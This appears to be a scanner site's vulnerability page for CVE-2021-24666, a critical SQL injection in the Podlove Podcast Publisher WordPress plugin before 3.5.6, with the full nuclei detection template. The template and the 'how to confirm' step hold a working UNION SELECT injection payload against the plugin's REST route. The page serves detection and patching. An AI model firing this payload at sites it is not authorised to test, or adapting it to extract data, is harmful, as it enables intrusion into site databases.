WordPress Podlove Podcast Publisher <3.5.6 - SQL Injection

criticalseverity

9.8CVSS score

8.9%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

WordPress Podlove Podcast Publisher plugin before 3.5.6 is susceptible to SQL injection. The Social & Donations module, not activated by default, adds the REST route /services/contributor/(?P<id>[\d]+) and takes id and category parameters as arguments. Both parameters can be exploited, thereby potentially enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.

Fix

Fixed in version 3.5.6.

How to confirm it

Send: GET {{BaseURL}}/index.php?rest_route=/podlove/v1/social/services/contributor/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NU…
Positive when: contains "66a82937a7660b73b00d4f7cefee6c85" and "\"service_id\"" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24666 -u <target>

The full check

id: CVE-2021-24666

info:
  name: WordPress Podlove Podcast Publisher <3.5.6 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Podlove Podcast Publisher plugin before 3.5.6 is susceptible to SQL injection. The Social & Donations module, not activated by default, adds the REST route /services/contributor/(?P<id>[\d]+) and takes id and category parameters as arguments. Both parameters can be exploited, thereby potentially enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: Fixed in version 3.5.6.
  reference:
    - https://wpscan.com/vulnerability/fb4d7988-60ff-4862-96a1-80b1866336fe
    - https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/
    - https://github.com/podlove/podlove-publisher/commit/aa8a343a2e2333b34a422f801adee09b020c6d76
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24666
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24666
    cwe-id: CWE-89
    epss-score: 0.08883
    epss-percentile: 0.95264
    cpe: cpe:2.3:a:podlove:podlove_podcast_publisher:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: podlove
    product: podlove_podcast_publisher
    framework: wordpress
  tags: cve2021,cve,sqli,wordpress,wp-plugin,wp,podlove-podcasting-plugin-for-wordpress,wpscan,podlove,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?rest_route=/podlove/v1/social/services/contributor/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20-"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '66a82937a7660b73b00d4f7cefee6c85'
          - '"service_id"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

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